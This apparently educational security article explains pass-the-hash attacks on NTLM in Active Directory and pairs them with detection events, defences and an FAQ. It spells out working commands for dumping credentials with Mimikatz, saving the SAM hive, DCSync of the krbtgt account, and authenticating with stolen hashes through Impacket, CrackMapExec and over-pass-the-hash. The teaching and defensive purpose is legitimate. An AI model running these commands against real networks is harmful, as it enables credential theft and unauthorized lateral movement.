AdvancedActive Directory

Pass-the-Hash: Understanding NTLM Authentication Attacks

An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.

#Pass-the-Hash#NTLM#Authentication#Active Directory#Credential Theft

Exploiting NTLM's Architectural Weakness

Pass-the-Hash (PtH) exploits a fundamental architectural property of NTLM authentication: the protocol uses the NTLM hash of a user's password — not the plaintext — for network authentication. This means possessing the hash is equivalent to possessing the password for authentication purposes. First demonstrated in the late 1990s, PtH remains one of the most effective lateral movement techniques because it targets the protocol's design rather than its implementation.

Prerequisites

**Active Directory Fundamentals** — Understanding of authentication and credential storage

**Lateral Movement** — Remote code execution techniques

How NTLM Authentication Works

Client requests access and receives a challenge (random 8-byte nonce)

Client encrypts the challenge with the user's NTLM hash

Server, knowing the user's hash, independently computes the expected response

If responses match, authentication succeeds

The key insight: the client-side computation uses the NTLM hash, not the plaintext password. Possessing the hash is equivalent to possessing the password for network authentication.

Extracting NTLM Hashes

From LSASS Memory

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

From SAM Registry Hive

reg save hklm\sam sam.save
reg save hklm\system system.save
impacket-secretsdump -sam sam.save -system system.save LOCAL

From Active Directory (DCSync)

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"
impacket-secretsdump -just-dc-user krbtgt corp.local/admin:password@192.168.1.10

Executing Pass-the-Hash Attacks

# Impacket PSExec with hash
impacket-psexec -hashes :NTHASH corp.local/user@192.168.1.10

# Impacket WMI exec with hash
impacket-wmiexec -hashes :NTHASH corp.local/user@192.168.1.10

# CrackMapExec with hash
crackmapexec smb 192.168.1.10 -u admin -H NTHASH -x whoami

Over-Pass-the-Hash

Converts NTLM hashes into Kerberos TGT tickets, bypassing NTLM restrictions:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:admin /domain:corp.local /ntlm:NTHASH /run:powershell.exe"

Detection

**Event ID 4624** (Logon Type 3) — Network logons with NTLM

**Event ID 4776** — NTLM credential validation

Multiple authentication attempts from one source to many destinations

Access to administrative shares (ADMIN$, C$, IPC$)

Common Mistakes

Assuming PtH only works with Domain Admin hashes

Overlooking local admin password reuse

Failing to disable NTLM where possible

Not auditing service account privileges

Best Practices

Move toward **Kerberos-only** authentication — disable NTLM where possible

Enable **SMB signing** to prevent relay attacks

Deploy **Microsoft LAPS** for unique local admin passwords

Implement **Credential Guard** to protect LSASS

Use **Protected Users** group for sensitive accounts

Related Tools

**Mimikatz** — sekurlsa::pth for PtH

**Impacket** — PtH across protocols

**CrackMapExec** — Automated PtH against multiple targets

Active Directory Fundamentals: Windows Network Domains

Lateral Movement: Moving Through Network Environments

Golden Ticket Attacks: Kerberos Ticket Forging Explained

Kerberos Explained: Authentication Protocol Deep Dive

Summary

Pass-the-Hash exploits NTLM by using password hashes directly for authentication. Combined with credential dumping and lateral movement, PtH enables attackers to move through AD environments with stolen hashes. Defenses focus on reducing NTLM usage, Credential Guard, unique local admin passwords (LAPS), and monitoring suspicious authentication patterns.

Related SMB Tool Recommendations

[SMBClient](/tools/smbclient) - Verify share access and browse discovered SMB shares

[Enum4Linux](/tools/enum4linux) - Enumerate SMB users, groups, shares, and policies

[Enum4Linux-NG](/tools/enum4linux-ng) - Run modern SMB enumeration with structured output

[NBTScan](/tools/nbtscan) - Resolve NetBIOS names before deeper SMB testing

[CrackMapExec](/tools/crackmapexec) - Scale SMB enumeration across larger networks

[NetExec](/tools/netexec) - Use modern SMB and Active Directory automation

Knowledge Check

Why does pass-the-hash work against NTLM?

What are the primary sources for NTLM hashes?

How does over-pass-the-hash differ from standard PtH?

What tool helps mitigate local admin password reuse?

Frequently Asked Questions

What is a pass-the-hash attack?

Pass-the-hash (PtH) uses an NTLM password hash directly for authentication instead of the plaintext password. Because NTLM authentication is hash-based, possessing the hash is equivalent to knowing the password for network authentication.

Why does pass-the-hash work against NTLM?

NTLM authentication uses a challenge-response protocol where the client encrypts a challenge with the NTLM hash. The server verifies this response, so the hash itself is sufficient for authentication without ever needing the original plaintext password.

What are the primary sources for NTLM hashes during an attack?

Common sources include LSASS memory (extracted via Mimikatz), the SAM registry hive (local accounts), and NTDS.dit from domain controllers (all domain account hashes via DCSync). Each requires different privilege levels to access.

How does over-pass-the-hash differ from standard PtH?

Over-pass-the-hash converts an NTLM hash into a Kerberos TGT ticket using Mimikatz. This allows authentication via Kerberos instead of NTLM, bypassing environments where NTLM has been disabled or restricted.

What tool helps mitigate local admin password reuse across machines?

Microsoft LAPS (Local Administrator Password Solution) automatically deploys unique, randomized local admin passwords to each workstation. This prevents pass-the-hash from moving laterally using a shared local admin credential.

Can pass-the-hash work against Kerberos-only environments?

Standard PtH requires NTLM authentication. If NTLM is fully disabled and only Kerberos is used, traditional PtH fails. However, over-pass-the-hash can convert NTLM hashes to Kerberos tickets, so disabling NTLM alone is not sufficient without also protecting LSASS.

What is Credential Guard and how does it prevent PtH?

Credential Guard uses virtualization-based security to isolate LSASS secrets in a protected container. Even with admin rights on the host, attackers cannot directly read NTLM hashes from memory, preventing the most common PtH extraction method.

How does SMB signing relate to pass-the-hash defense?

SMB signing ensures packet integrity, preventing NTLM relay attacks where an attacker intercepts and forwards authentication. Enabling mandatory SMB signing on all servers prevents relay-based exploitation of captured NTLM hashes.

What makes pass-the-hash still effective in modern environments?

Many organizations still have NTLM enabled for legacy application compatibility, use shared local admin passwords, and lack Credential Guard. These factors keep PtH viable even in otherwise hardened Active Directory environments.

What is the Protected Users group and how does it help?

The Protected Users group in Active Directory applies strict authentication protections: disables NTLM delegation, requires Kerberos, and prevents credential caching. Members cannot be targeted by pass-the-hash or relay attacks.